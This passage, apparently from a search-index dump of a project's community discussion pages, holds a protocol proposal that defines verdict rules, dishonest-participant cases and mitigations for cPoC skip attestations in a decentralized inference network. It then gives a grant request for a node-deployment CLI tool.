above catches only the seal-window race.H_i ∉ PoC_slot_set. Otherwise → Invalid (host had POC_SLOT = true, must not skip).I.∃ H ∈ I : Schedule(H_i, H) ∈ {prepare, active} → candidate Valid (subject to (5)). The host was legitimately on cPoC at some height V personally witnessed in I; that is sufficient.∀ H ∈ I : Schedule(H_i, H) == idle → candidate Invalid (subject to (5)). The host claims cPoC refusal but is not on the schedule at any height in I.I (h_X and h_carry) are strictly confirmed by the height-sync layer (assumption 1), commit to the candidate from (4). If the height-sync layer flags either endpoint as not yet strictly confirmed, and the schedule verdict is adversarial (Invalid), V MUST hold the verdict as Inconclusive until height sync reports confirmation covering I — then re-run step (4). This could be scheduled for future releasesCPoCSkipResponse must be validly signed by H_i and reference R_req as it appears in Diff.Outputs feed Gossip minimization (below) and, for disputes, FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md.
"}, {"location": "community/discussion/proposals/1190-devshard-improvements-cpoc-skip-protocol-proposal/#cases-to-handle-case-dataflow", "title": "Cases to handle (case / dataflow)", "text": "Legend: R_req = Path-A inference-request nonce (or, in Path B, aliased to the probe nonce N_SP); N_carry = nonce at which CarrySkip is appended to Diff; both paths have R_req < N_carry strictly. R denotes the executor round of size N_slots.
Setup: Schedule(H_i, H(V)) = active, H_i ∉ PoC_slot_set, dev behaves normally.
Flow:
D → H_i : InferenceRequest(R_req)\nH_i → D : CPoCSkipResponse(R_req, active)\nD → H_{i+1} : next InferenceRequest at R_req+1 carrying skip blob\n (or separate CarrySkip at some N_carry ≥ R_req)\nV (= any host): on Diff[N_carry] → Verdict = Valid (nonce window + schedule)\nExpected verdict: **Valid**. No gossip, no finalization trigger.
Setup: Schedule(H_i, H(V)) = idle, H_i ∉ PoC_slot_set, but H_i replies CPoCSkipResponse to avoid work.
Flow: Same as C1 up to the point the developer publishes CarrySkip. Each host V then:
V on Diff[N_carry]:\n compute Verdict(...) = Invalid # Schedule check fails at I\n emit CPoCVote(N_carry, verdict = Invalid, signed_by=V) # p2p to D (and optionally gossip)\nD collects CPoCVote messages from distinct hosts:\n if |votes(Invalid)| ≥ quorum_invalid:\n verdict is settled as Invalid\n D hands the vote bundle to finalization (today)\n — OR —\n hosts publish votes at the next finalization round (future release; see § Consensus / voting)\nExpected verdict: Invalid (Schedule check fails on the height interval I). The Invalid outcome is not attached to finalization by one party; it is the quorum of CPoCVotes from hosts that observed Diff[N_carry] and independently reached the same verdict. See § Consensus / voting for the vote-collection protocol and the \"developer today / self-finalization tomorrow\" split.
Setup: H_i signs both a MsgConfirmStart and a CPoCSkipResponse for the same inference_id (directly or via D carrying the skip blob). The two messages are cryptographically incompatible: MsgConfirmStart.executor_sig commits H_i to running the inference, and the embedded CPoCSkipResponse commits H_i to refusing it. Applicable only to Path A (payload_kind = skip_response); Path B has no inference_id on the carry and cannot trigger this case.
Flow (confirm before carry):
Diff[R_req] : MsgStartInference(inference_id = I)\nDiff[N_confirm] : MsgConfirmStart(inference_id = I, executor = H_i) # H_i claims \"I ran it\"\n... time passes ...\nDiff[N_carry] : CarrySkip embedding CPoCSkipResponse(reference_nonce = R_req,\n signed by H_i) # contradicts confirm\n\nV on ingest of Diff[N_carry]:\n Verdict predicate, step 2:\n inference_id* = Diff[R_req].inference_id = I\n scan Diff → found MsgConfirmStart(I, H_i) at N_confirm < N_carry\n ⇒ Invalid against H_i (reason_code = double_claim_confirm_then_skip)\n emit CPoCVote(Invalid, target = host(H_i), reason_code = …)\nFlow (skip carried first, confirm arrives inside the seal window):
Diff[R_req] : MsgStartInference(inference_id = I)\nDiff[N_carry] : CarrySkip embedding CPoCSkipResponse(…, signed by H_i)\nV on ingest: provisional Valid (or Invalid on other grounds); records\n provisional_until = h_carry + W_seal in pending_verdicts\n\n... within the seal window ...\nDiff[N_confirm] : MsgConfirmStart(I, H_i) # H_i claims the inference after refusing it\n\nV on re-run of the predicate:\n step 2 detects N_confirm > N_carry within seal window\n ⇒ Invalid against H_i (reason_code = double_claim_skip_then_confirm)\n emit superseding CPoCVote — collector replaces V's prior vote for (N_carry, V_pubkey)\nFlow (confirm arrives after the seal window):
Diff[N_carry] : CarrySkip(...) # sealed Valid after W_seal\nDiff[N_confirm] : MsgConfirmStart(I, H_i) # too late to flip the cPoC verdict\n\nV: does NOT re-open the settled verdict; the protocol violation is instead\n handed off to settlement (finalization) as stand-alone evidence that\n H_i signed two contradictory statements about inference I.\nExpected verdict: **Invalid against H_i** whenever both artifacts land in Diff within the seal window of each other. Settled via the standard CPoCVote quorum (§ Consensus / voting), with the vote bundle carrying reason_code ∈ {double_claim_confirm_then_skip, double_claim_skip_then_confirm} and pointers to both Diff entries as the cryptographic evidence of the contradiction. Outside the seal window the violation is still slashable, but at the settlement layer rather than as a cPoC-predicate flip (keeps verdict finality bounded).
Optional devshard-ingest hardening. The devshard MAY refuse to append either message when the other already exists in Diff (Verdict predicate, step 2, \"Defence in depth at ingest\"). This shifts the rejection from the predicate layer to the gateway layer for the common case; the predicate's step 2 remains in force for the race window during which both messages can legitimately arrive at the ingest layer concurrently.
Setup: H_i returned a legitimate CPoCSkipResponse at R_req during its cPoC window (height H_skip). Developer holds the blob for arbitrarily many rounds and later emits CarrySkip at N_carry ≫ R_req.
Flow:
D → devshard : MsgStartInference(R_req) # during H_i's cPoC window\nH_i → D : CPoCSkipResponse(R_req, active) # p2p, signed by H_i at H_skip\n... time passes; Diff advances; mainnet advances past H_skip ...\nD → devshard : CarrySkip(N_carry, CPoCSkipResponse) # late carry\nV on Diff[N_carry]:\n SP_e = R_req mod N_slots; SP_v = v_slot\n X = R_req − ((SP_e − SP_v) mod N_slots) # same round if SP_v ≤ SP_e, else previous round\n h_X = height_at[X] (≈ H_skip — V's height observed at or before R_req)\n h_carry = H(V) at ingest of Diff[N_carry]\n I = [H_skip, h_carry]; Schedule(H_i, H_skip) ∈ {prepare, active} ⇒ step 3 passes\n Verdict = Valid\nExpected verdict: **Valid. The host's attestation is truthful for a height in I; lateness does not retroactively make it a lie. Any residual harm (inference record kept open, stalled settlement) is handled at the settlement layer (MsgTimeoutInference{…CPOC} and finalization deadlines), not** by the cPoC verdict predicate.
Setup: Developer publishes a CarrySkip with N_carry < R_req (references a request that has not yet entered Diff).
Flow: Step (1) of the verdict predicate rejects the envelope on the causality inequality R_req ≤ N_carry.
Expected verdict: **Invalid against the carrier (developer signature on CarrySkip), not** against H_i. This is a pure forgery check, independent of any height interval.
POC_SLOT = true host returns skip", "text": "Setup: H_i ∈ PoC_slot_set (inference-exempt during others’ cPoC), yet replies CPoCSkipResponse.
Flow: any normal request/response leading to a carried skip.
Expected verdict: Invalid (Role check fails). Verdict is settled by vote quorum (see C2 / § Consensus / voting): every host computes the same Invalid and emits CPoCVote; the collected bundle is the evidence handed to slashing (H_i).
prepare window", "text": "Setup: Schedule(H_i, H(V)) = prepare (policy-dependent).
Decision: Same verdict rules as active.
Setup: Schedule(H_i, H(V)) = idle, but height-sync layer has not yet strictly confirmed H(V) for the nonce-window (out of scope for us — we only consume its signal).
Flow: Verdict step (4) returns Inconclusive.
Expected action: V does not emit a CPoCVote yet; it waits for the height layer to confirm. If confirmed Invalid, V emits CPoCVote(Invalid) and the standard vote-quorum flow (§ Consensus / voting) collects the bundle. If confirmed Valid, no vote is emitted and no action is taken.
Setup: D wants a cPoC status check from H_i without submitting a prompt. Schedule(H_i, H) ∈ {active, prepare} at the height the probe is answered.
Flow:
D → devshard : MsgSkipProbe(N_SP, target = H_i) # into Diff at N_SP\nH_i → D : CPoCProbeResponse(N_SP, outcome ∈\n {cpoc_active, cpoc_prepare}) # p2p, signed by H_i\nD → devshard : CarrySkip(N_carry, CPoCProbeResponse) # into Diff at N_carry > N_SP\nV on Diff[N_carry]:\n R_req := N_SP\n run the Verdict predicate (steps 1–5) unchanged\nExpected verdict: **Valid** (same predicate as Path A, applied with R_req := N_SP).
Setup: D probes H_i. H_i has finished its cPoC window and is in READY_INFERENCE (Schedule(H_i, H) = idle at the answering height).
Flow:
D → devshard : MsgSkipProbe(N_SP, target = H_i)\nH_i → D : CPoCProbeResponse(N_SP, outcome = ready) # p2p, signed by H_i\nD → devshard : CarrySkip(N_carry, CPoCProbeResponse) # into Diff at N_carry > N_SP\nV on Diff[N_carry]:\n detect payload_kind = probe_response AND outcome = ready\n record scheduling receipt: ready_at[H_i] = (N_carry, h_carry)\n Verdict predicate steps (2–3) do NOT apply (no refusal to evaluate)\nExpected verdict: not applicable. The carry is a scheduling receipt, not a skip attestation. It obliges the developer to resume routing real MsgStartInference to H_i at subsequent H_i-slot nonces. Persistent deviation after this receipt triggers C13.
Setup: H_i returns nothing (neither inference nor skip).
Expected action: Out of scope of cPoC-skip verdict. Governed by **USER_TIMEOUT in FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md. cPoC protocol contributes no** verdict in this case.
Setup: After timeout_skip_gossip the diff has not advanced one full round, so not every V has necessarily seen the carried skip and the vote collector (see § Consensus / voting) has not yet reached quorum_invalid.
Flow:
V1 emits SkipEvidenceGossip(Diff-refs) to peers # lagging peers catch up on Diff\npeers reconstruct Diff-refs, compute Verdict locally,\n and emit CPoCVote if their verdict is non-Valid\ncollector aggregates votes (`D` for host-fault cases this release; finalization round for developer-target votes when self-finalization exists — see § Consensus / voting)\nExpected verdict: whatever the vote quorum declares on the same Diff evidence. SkipEvidenceGossip is a delivery aid only; it does not compute a verdict, it just makes the same CarrySkip visible so lagging peers can vote.
Setup: High request rate; the diff naturally advances past R_req + N_slots within timeout_skip_gossip.
Expected action: No SkipEvidenceGossip emission needed; every V has the evidence by construction. Each V independently computes Verdict and, if non-Valid, emits CPoCVote. The collector aggregates votes as usual.
Setup: A verdict is Invalid (C2, C2', C4, C6-confirmed-invalid, C3', or C13).
Flow: Once quorum_invalid is reached, the collector assembles an evidence bundle consisting of: (i) the refs into Diff for MsgStartInference / MsgSkipProbe, CarrySkip, and (for C13) the H_i-slot window; (ii) the set of CPoCVote messages achieving quorum; (iii) the relevant schedule inputs (PoC_slot_set, Schedule at heights in I). This bundle is handed to FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md for inclusion in the finalization bundle for mainnet — the bundle is the input to slashing.
Setup: V has stale PoC_slot_set or wrong epoch schedule (not the network majority view).
Expected behavior: V is at fault for mis-verdict; this is a node-operator / epoch-refresh issue, not host fault. Recovery belongs to the schedule/epoch layer (out of scope). The protocol must log the conflict so operators can detect it; it must not penalize H_i when only an outlier V disagrees.
Setup: Some host H_i has signalled ready (either via CPoCProbeResponse(outcome = ready) carried in Diff at some nonce N_ready, or because Schedule(H_i, H) = idle across the last W_ready mainnet blocks that every verifier strictly confirms). The developer is nonetheless not routing real inference to H_i:
executor(n) = H_i (i.e. n mod N_slots = i), D keeps sending MsgSkipProbe(target = H_i) rather than MsgStartInference, orD stops emitting messages at H_i-slot nonces altogether while continuing to send to other slots.Observation (at each V). V counts, over a trailing window of W_fair rounds ending at the current nonce:
n_inf(H_i) = MsgStartInference entries with executor(n) = H_i,n_probe(H_i) = MsgSkipProbe entries targeted at H_i,H_i is ready (per ready_at[H_i] receipt or Schedule(H_i, H) = idle for every H ∈ [h_start_window, H(V)]).Violation predicate. ready(H_i) ∧ n_probe(H_i) + n_miss(H_i) ≥ θ_fair ∧ n_inf(H_i) < θ_min_inf — i.e. over the window, D sent probes or left H_i-slots empty at least θ_fair times while sending fewer than θ_min_inf real inferences to H_i, despite H_i being ready. Exact values (W_fair, θ_fair, θ_min_inf) are chain-parametrized (TBD; see Open questions).
Flow:
1. Diff[N_ready] : CarrySkip wrapping CPoCProbeResponse(outcome=ready) for H_i\n → every V records ready_at[H_i] = (N_ready, h_ready)\n\n2. Nonces N_ready+1 … N_ready+W_fair·N_slots advance:\n V tallies n_inf(H_i), n_probe(H_i) at H_i-slot nonces from Diff\n\n3. Violation predicate fires at V:\n V enters \"withholding-alert\" state for (D, H_i)\n\n4. Downstream enforcement: every V that is itself a future executor for D\n refuses to serve D's requests (returns a new p2p signal\n `RouteFairnessRefusal(D, H_i, evidence_refs)`) until:\n (a) D issues MsgStartInference(executor = H_i) AND H_i confirms it (MsgConfirmStart),\n OR\n (b) H_i re-enters cPoC (signals active/prepare via a fresh CPoCProbeResponse\n or via Schedule(H_i, H) transitioning back to {active, prepare}).\n\n5. When (a) or (b) holds, V clears the withholding-alert and resumes serving D.\nExpected verdict: **Invalid against the developer**, not against any host. Evidence: ready_at[H_i] receipt + the H_i-slot window of Diff showing probes / empty slots but no inference requests.
Why enforcement sits with \"next hosts\". The only actor that can credibly deny D further service is the host queued to execute D's next request. If those hosts refuse until D resumes fair routing, D has a direct economic incentive to stop withholding. No mainnet round-trip is required in the hot path; the decision is local at each V from the same Diff contents, so every honest host reaches the same alert.
Open parameters (deferred to Open questions):
W_fair, θ_fair, θ_min_inf thresholds.ready_at receipt decays after the host re-enters cPoC (presumably yes — once Schedule(H_i, H) = active again, old receipts are cleared).RouteFairnessRefusal and whether it also lands in Diff as evidence for slashing D's stake.Applicability: Only possible on low session load — specifically, when Diff contains no signed entries between R_req and N_carry that would otherwise tighten V's upper bound h_high on R_req's true height. On any session with concurrent inference traffic, intermediate entries auto-tighten the band and this attack surface closes by itself.
Setup. Schedule(H_i, h_req) = idle (host is not on cPoC at the moment R_req enters Diff). Immediately after R_req, session traffic goes quiet: D has no other inferences to submit. A malicious H_i then waits strategically for its next scheduled cPoC window to open at some height h > h_req, signs CPoCSkipResponse(R_req, active) during that later window, and relies on D's late CarrySkip landing far enough in the future that V's height interval I = [h_X, h_carry] contains h. Under ∃ H ∈ I semantics (Verdict predicate, step 3) the carried refusal now passes, even though the host was idle at h_req and therefore owed the developer real inference.
Flow (attack, without mitigation):
mainnet h_req : Diff[R_req] = MsgStartInference # H_i idle at h_req\n... quiet session; no intermediate Diff entries ...\nmainnet h+Δ : H_i enters cPoC at mainnet height h > h_req\n H_i → D : CPoCSkipResponse(R_req, active) # signed at height h (fresh lie)\nmainnet h_carry: Diff[N_carry] = CarrySkip(embeds above)\nV on ingest: h_X ≈ h_req; h_carry ≫ h_req\n I = [h_X, h_carry] — wide band, no intermediate stamp\n ∃ H ∈ I : Schedule(H_i, H) = active ⇒ step 3 passes → Valid (wrong)\nMitigation (developer heartbeat). When D has an outstanding R_req and no further inference to submit within the current round (R_req … R_req + N_slots), D SHOULD emit a lightweight heartbeat — a MsgSkipProbe targeted at the natural next slot executor(R_req + 1) — within ≈ 1 mainnet block of R_req. The heartbeat carries D's signed observed_height ≈ h_req, and the host's responding CPoCProbeResponse (carried back via a subsequent CarrySkip) carries the host's signed observed_height as well. Both stamps land in Diff at nonces > R_req, providing a tight upper bound h_high on R_req's true height.
Cadence — one heartbeat, one round, only while idle.
D emits the heartbeat once within the round of R_req. A single stamped entry is sufficient to tighten h_high; additional heartbeats add no verdict strength.R_req. Once the session advances past nonce R_req + N_slots (one full executor round), the band for R_req is already bounded from above by any signed entry in that window. D MUST NOT continue emitting heartbeats after the round closes — further ones no longer improve the verdict for R_req.D would otherwise leave Diff quiet. If D has real MsgStartInference traffic queued (any nonce in [R_req + 1, R_req + N_slots]), those entries already provide h_high via their own observed_height stamps — no heartbeat is emitted.Flow (mitigated):
mainnet h_req : Diff[R_req] = MsgStartInference(to H_i) # real request\nmainnet h_req+ε : Diff[R_req+1] = MsgSkipProbe(to H_{i+1}) # heartbeat — if no real follow-up\nmainnet h_req+ε' : H_{i+1} → D : CPoCProbeResponse(N_SP=R_req+1, …)\nmainnet h_req+ε\" : Diff[N_hb_carry] = CarrySkip(embeds the probe response)\n # observed_height stamps ≈ h_req\n... (D stops heartbeating; round closes) ...\nmainnet h_carry : Diff[N_carry] = CarrySkip(for the real R_req)\n\nV on ingest of Diff[N_carry]:\n h_X = height_at[X] (≈ h_req; lower bound)\n h_high = observed_height on earliest stamp in (≈ h_req+ε; heartbeat tightened)\n Diff[(R_req, N_carry)]\n band = [h_X, h_high] — collapses to ≈ {h_req}\n step 3 now evaluates against a near-point band:\n Schedule(H_i, h_req) = idle ⇒ Invalid (attack closed)\nInteraction with other cases.
H_i itself and H_i responds ready, the response contradicts its own later CPoCSkipResponse(R_req, active) — a double-claim analogous to the MsgConfirmStart vs. CPoCSkipResponse mutual-exclusion rule. Verdict is Invalid against H_i on sight, without needing the band to resolve.H_{i+1} (the natural case since R_req + 1's executor is H_{i+1}), C13's withholding detector MUST exempt heartbeat probes emitted while an R_req awaits verdict — the probe is height-sync machinery, not a sustained routing pattern. See Open questions.D fails to emit a heartbeat despite having no alternative traffic, the band stays wide and the fresh-lie attack succeeds under ∃ H ∈ I. The heartbeat is therefore a developer-side obligation, not a protocol-enforced one from the host's perspective; a careless or lazy D exposes itself to being lied to. This aligns incentives: heartbeating protects D's own payment for real work.Expected verdict: With the heartbeat in place, the same CPoCSkipResponse that would have strategically passed under a wide band now fails step 3 and is settled Invalid via the standard CPoCVote quorum (§ Consensus / voting). Without the heartbeat on a low-load session, the protocol's verdict fidelity degrades gracefully — the verdict is whatever ∃ H ∈ I returns on the wide band — and settlement-layer penalties on host withholding remain the only recourse.
Open parameters (deferred to Open questions):
R_req and the heartbeat (≈ 1 mainnet block is a suggestion; could be tighter or looser).MsgSkipProbe or a dedicated lightweight message without a response expectation. MsgSkipProbe is reused here because it already carries an observed_height and rides existing Diff wire formats, but a response-free variant is cheaper.Every verifier V computes the Verdict predicate (§ Data flow) independently against its local view of Diff and H(V). When Verdict ∈ {Invalid, Inconclusive-pending-confirmation} (or a C13 developer-withholding alert fires), V signs and emits a CPoCVote for that N_carry. For target = host(H_i), votes are addressed to D as collector (this release). For target naming D (C3′, C13), trusted aggregation is not specified here — see § Consensus / voting (optimistic gap until self-finalization). A verdict is settled for finalization only after a quorum of independent votes has been collected; an individual verifier's opinion, by itself, slashes nobody.
CPoCVote (new p2p message, then into finalization bundle)", "text": "Field Meaning N_carry Nonce of the CarrySkip this vote refers to (or, for C13, the earliest Diff reference in the evidence window). referenced_nonce R_req or N_SP, copied from the carry; lets the collector filter duplicates. target Kind-and-identity of the actor being voted against: host(H_i) for C2/C4/C6, carrier(D) for C3', developer(D) for C13. verdict Invalid (most common). Valid votes are implicit — honest verifiers simply don't emit a vote — so no Valid voting channel is required. reason_code Machine-readable pointer to which predicate step failed (schedule_fail, role_fail, causality_fail, double_claim_confirm_then_skip, double_claim_skip_then_confirm, withholding, height_confirmed_invalid, …). schedule_witness (H*, Schedule(H_i, H*)) for the height in I the verifier consulted, so the bundle is self-contained for slashing. signature Host signature under domain cPoCVoteContent (binds all fields above). A single CPoCVote is cheap; the flood size is bounded because only verifiers with a non-Valid local verdict emit one, and every one is a pointer into existing Diff entries.
D)", "text": "Host-fault cases (target = host(H_i) — C2, C2′, C4, C6, etc.). The developer D is the vote collector for this release:
D already owns the CarrySkip envelope and knows which N_carry the vote refers to.D is the economically interested party when a malicious host means D did not get served.Collection procedure:
V with a non-Valid verdict sends CPoCVote to D via p2p (optionally piggy-backed on the same channel that carries SkipEvidenceGossip).D aggregates distinct signatures until |votes(Invalid)| ≥ quorum_invalid.D attaches the bundle to finalization per FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md. The vote bundle is the input to slashing.Developer-target cases (target names D — C3′ forged carry, C13 withholding). D cannot be the trusted aggregator of votes that would slash or dispute D. Normative intent: once self-finalization is implemented, CPoCVotes for these targets MUST be collected and aggregated in the finalization round (the same developer-independent path as other settlement), not by D.
This release — optimistic gap. The protocol does not specify a collector for developer-target votes. We assume D behaves honestly when forwarding or aggregating evidence in practice, or that C3′/C13 Invalid outcomes are out-of-band rare; malicious D censoring or withholding CPoCVotes against itself is a known uncovered negative case, scheduled for closure when self-finalization lands. Verifiers still emit CPoCVote with target = developer(D) / carrier(D) as specified; only the trusted aggregation path is deferred.
Future release (self-finalization). When the finalization round aggregates CPoCVote without relying on D:
V still emits CPoCVote on the standard channel; wire format unchanged.D for any target.D stops sending traffic and never submits a vote bundle\" for host-fault cases.Exact values — quorum_invalid (e.g. simple-majority vs. 2/3 stake-weighted), tie-break rules, stake weighting, and the mapping from votes to mainnet slashing amounts — must match the finalization / slashing layer. These are chain-parametrized and deferred to FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md and the mainnet slashing spec. This doc only guarantees:
V reaches the same verdict from the same Diff + strictly-confirmed height slice (by construction of the Verdict predicate).CPoCVote includes the schedule_witness and is auditable at finalization time (a dishonest vote is itself slashable).**PoC_slot_set provenance:** set at escrow init (immutable) vs queried post-init and cached. Different failure modes.**prepare policy:** is skip allowed while Schedule = prepare (treat like active) or forbidden (treat like idle)? Chain-spec flag skip_allowed_during_prepare.cPoCRefusalContent (host signature on CPoCSkipResponse, binds inference_id + reference_nonce + reason), cPoCProbeResponseContent (host signature on CPoCProbeResponse, binds probe_nonce + reference_nonce + outcome), CarrySkipContent (developer signature on CarrySkip, binds N_carry + referenced_nonce + payload_kind + host_response bytes), and the signing input for MsgSkipProbe (binds probe_nonce = N_SP + target_host_id).Diff-refs, signatures, schedule-witness); shared with FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md.(W_fair, θ_fair, θ_min_inf) for the developer-withholding predicate: how many H_i-slot nonces of probes / empty slots vs. real inferences, over how many rounds, qualify as misbehavior? Must be tuned so that legitimate brief probing (e.g. a single confirmation probe right after ready before resuming inference) does not trigger alerts.**ready_at lifecycle.** When exactly does a ready receipt for H_i expire? Candidates: (a) on the first strictly-confirmed Schedule(H_i, H) ∈ {active, prepare} after the receipt; (b) on any subsequent non-ready CPoCProbeResponse / CPoCSkipResponse for H_i carried in Diff; (c) a hard TTL in mainnet heights. Likely all three with (a) ∨ (b) ∨ (c).**RouteFairnessRefusal surface.** Is this purely a p2p refusal signal between hosts, or must it also land in Diff as a signed artefact so mainnet can slash D? If the latter, it becomes another SubnetTx variant and needs its own signing domain.MsgSkipProbe → p2p response → CarrySkip roundtrip be eliminated by letting D place a D-signed unilateral-skip marker (e.g. MsgCPoCSkipMarker(nonce, target_host = H_i, basis = {N_prev_carry, h_prev})) at H_i's slot nonce and routing the real MsgStartInference to the next slot? Requires (i) wire format for the marker and its signing domain; (ii) a freshness rule keyed to a prior CarrySkip for H_i — the marker is valid only while the schedule-implied cPoC window referenced by N_prev_carry has not expired at V's current height; (iii) a per-evidence cap on consecutive unilateral skips so a single old CarrySkip can't authorize indefinite skipping; (iv) reconciling with ready_at[H_i] and the C13 detector — a ready receipt invalidates outstanding marker authority immediately. Explicitly out of scope for the current release.quorum_invalid (simple majority vs. 2/3 stake-weighted), whether votes are counted per-host or stake-weighted, tie-break rules, and a liveness timeout for the collector to declare \"no quorum reached, treat as Valid\" are chain-parametrized and deferred to the finalization / slashing spec.CPoCVote without relying on D, we need: (i) a deterministic boundary condition that triggers vote aggregation (block height, session sealing, etc.); (ii) explicit ingestion of CPoCVote with target = developer(D) / carrier(D) (C3′, C13) so aggregation is not left to D; (iii) handling for late-arriving votes across the boundary; (iv) a migration story so older nodes that still send host-fault votes to D compose with the new collector. The wire format of CPoCVote itself should not need to change — only the aggregation destination. This closes the optimistic gap documented in § Consensus / voting (malicious D censoring votes against itself). Explicitly out of scope for the current release.R_req and the heartbeat (≈ 1 mainnet block proposed; tune against network latency). (ii) Whether the heartbeat reuses MsgSkipProbe or justifies a dedicated response-free lightweight SubnetTx variant (which would bind only D's signed observed_height and incur no p2p roundtrip). (iii) Carve-out rule in C13's withholding tally for probes emitted while an R_req awaits verdict, so a legitimate heartbeat doesn't count as withholding from H_{i+1}. (iv) Whether observed_height fields are strictly required on MsgStartInference, MsgConfirmStart, MsgSkipProbe, and CarrySkip for verifier determinism, or whether V's own height_at[·] stamps suffice in practice — i.e. is C14's closure structurally in the wire format or operationally via heartbeats on top of today's messages.W_seal. Default proposed at ≈ 2 mainnet blocks (matching timeout_skip_gossip). Needs to be tuned against (i) realistic MsgConfirmStart arrival latency after a CarrySkip, (ii) how long verifiers can reasonably buffer pending_verdicts entries in the provisional state, (iii) whether settlement-layer slashing for post-seal confirm-then-skip contradictions is strong enough to treat the seal closure as a true bound. If not, consider extending W_seal or allowing a bounded number of post-seal flips recorded as \"late evidence\" rather than verdict changes.MsgConfirmStart when CarrySkip(payload_kind = skip_response) for the same inference_id already exists in Diff (and vice versa) is a MUST or a SHOULD. MUST simplifies verdict reasoning (step 2 scan becomes a residual safety net for the race window only) but creates a harder dependency on every ingest pipeline behaving identically; SHOULD keeps the predicate as the sole source of truth but leaves the ingest rule as an opportunistic optimization. Tie-break also affects how implementations handle a genuine race in which both messages are valid at their own arrival times.H(V) as a black-box oracle.Invalid verdicts, decides inclusion in finalization bundles.🔄 Auto-sync: from Discussion #1192 every hour.
"}, {"location": "community/discussion/proposals/1192-inc4-gonka-nop-grant-for-the-node-deployment-tool/#inc4-gonka-nop-grant-for-the-node-deployment-tool", "title": "INC4 | Gonka NOP - grant for the node deployment tool", "text": "Автор: @rwxr-xr-x · Категория: Proposals · Создано: 2026-05-19 10:51 UTC · Обновлено: 2026-05-19 10:52 UTC
"}, {"location": "community/discussion/proposals/1192-inc4-gonka-nop-grant-for-the-node-deployment-tool/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1192-inc4-gonka-nop-grant-for-the-node-deployment-tool/#gonka-nop-grant-for-the-node-deployment-tool", "title": "Gonka NOP - grant for the node deployment tool", "text": "A CommunityPool funding request covering delivered work on gonka-nop, ongoing operator support, and continued development of the tool.
"}, {"location": "community/discussion/proposals/1192-inc4-gonka-nop-grant-for-the-node-deployment-tool/#tldr", "title": "TL;DR", "text": "INC4 proposes a 50,000 USDT allocation from the CommunityPool for gonka-nop (Node Onboarding Package), a CLI tool for deploying and maintaining Gonka nodes. The tool is already built, released under the MIT license, and in active use by some operators on mainnet — it is not a proposal to build something new, but a request to fund work that has already produced a working tool with its own users. The grant covers three areas: the work already delivered, ongoing support for NOP users, and continued development of the tool. The grant is paid in USDT rather than the native GNK token, and is structured as a single transfer without vesting or milestone tranches. There is no detailed budget breakdown and no milestone schedule: allocation of effort across the three areas remains at INC4's discretion, with the public repository serving as the basis of accountability.
"}, {"location": "community/discussion/proposals/1192-inc4-gonka-nop-grant-for-the-node-deployment-tool/#what-is-gonka-nop", "title": "What is gonka-nop", "text": "Gonka NOP is a CLI that reduces deploying a Gonka node to a single operation. The tool inspects the state of the target server, installs missing dependencies, brings up the required components in the correct order, and registers the node with the network. Gonka-specific details are encoded inside the tool and updated alongside network releases, so the operator does not have to track them release by release. This includes image versions, vLLM configuration tuned to the specific GPU model present on the host, registration parameters expected by the chain, and readiness conditions a node must satisfy before PoC and cPoC rounds. This is what separates NOP from a docker-compose bundle: it carries Gonka's operational model, not just its container set. The main deployment topologies are supported: a standalone Network Node, a combined configuration with the ML Node on the same machine, and a distributed setup with multiple ML Nodes on separate hosts behind a single Network Node.
The tool addresses two distinct audiences. For operators without deep DevOps experience, it lowers the entry barrier: renting a server with a suitable GPU and stepping through an interactive wizard is enough, with no need to work through GPU drivers, the interaction between layers, or vLLM configuration files by hand. The wizard surfaces the small set of choices an operator actually needs to make — topology, hardware profile, network endpoints — and resolves the rest from defaults that track current network requirements. For experienced administrators, the same binary provides repeatability: most prompts in the wizard have an equivalent command-line flag, the binary runs non-interactively when configuration is supplied up front, and the resulting invocations integrate cleanly into Ansible playbooks and other automation systems. The same flags drive both initial deployment and in-place upgrades, so the path from a fresh installation to a node running the latest release is the same single command across an operator's fleet. Deploying dozens of nodes ends up roughly as complex as deploying one, which matters for any operator running a fleet rather than a single instance.
Deploying a Gonka node is a multi-step process involving several heterogeneous components: GPU drivers, the container runtime, and the various Gonka components themselves. Each layer has its own requirements for versions, ports, resources, and configuration order. The interfaces between them are unforgiving — a mismatch in any one place rarely shows up during installation; it surfaces later, once the node is expected to serve PoC and cPoC rounds. Requirements also shift periodically with network releases: new models replace older ones, image tags move, vLLM parameters get retuned, additional GPU families enter the supported set, and the specific combination of versions that constitutes a valid node at any given moment is not the same combination that was valid two releases earlier. Each shift touches a different subset of layers, and the operator carries the cost of working out which subset that is.
The combination of a Cosmos SDK chain with a production ML inference stack under the same operator is uncommon. The operational knowledge needed to manage both — chain-level concerns like consensus participation and slashing, alongside infrastructure concerns like GPU memory layout and model serving — is not widely available outside specialized teams.
The cost of getting it wrong falls on the operator. Missed PoC and cPoC rounds, a lagging Network Node, or version mismatches between components can all result in lost rewards and possibly jail. Time spent diagnosing incidents does not come back. For an experienced administrator this is tractable but time-consuming. For an operator new to Cosmos SDK networks, the requirement stack is in practice impassable without external help. NOP removes that part of the workload from the operator.
"}, {"location": "community/discussion/proposals/1192-inc4-gonka-nop-grant-for-the-node-deployment-tool/#proposal", "title": "Proposal", "text": "The funding request reflects the structure of the work itself: what has already been delivered, what is needed to keep it running, and what comes next. The grant covers three corresponding areas.
Retroactive compensation for development already delivered. The current version of NOP is a working tool with an active user base among mainnet operators. INC4 took on the initial development as a contribution to the network. The retroactive portion of the grant settles that delivered work.
Support for NOP users. INC4 triages incidents, helps with diagnostics during deployment and operation, responds in DevOps chats, and ships patches and updates aligned with new Gonka releases. This workload is recurring rather than one-off — it returns each time the network changes. The grant commits INC4 to maintaining the tool under the same model.
Continued development. New capabilities, broader coverage of deployment scenarios, further reductions in the entry barrier. Concrete tasks are shaped in dialogue with operators and the Gonka core team, and tracked publicly in the repository. The proposal deliberately does not pre-commit to a feature list: priorities need to remain responsive to what the network actually requires as it evolves.
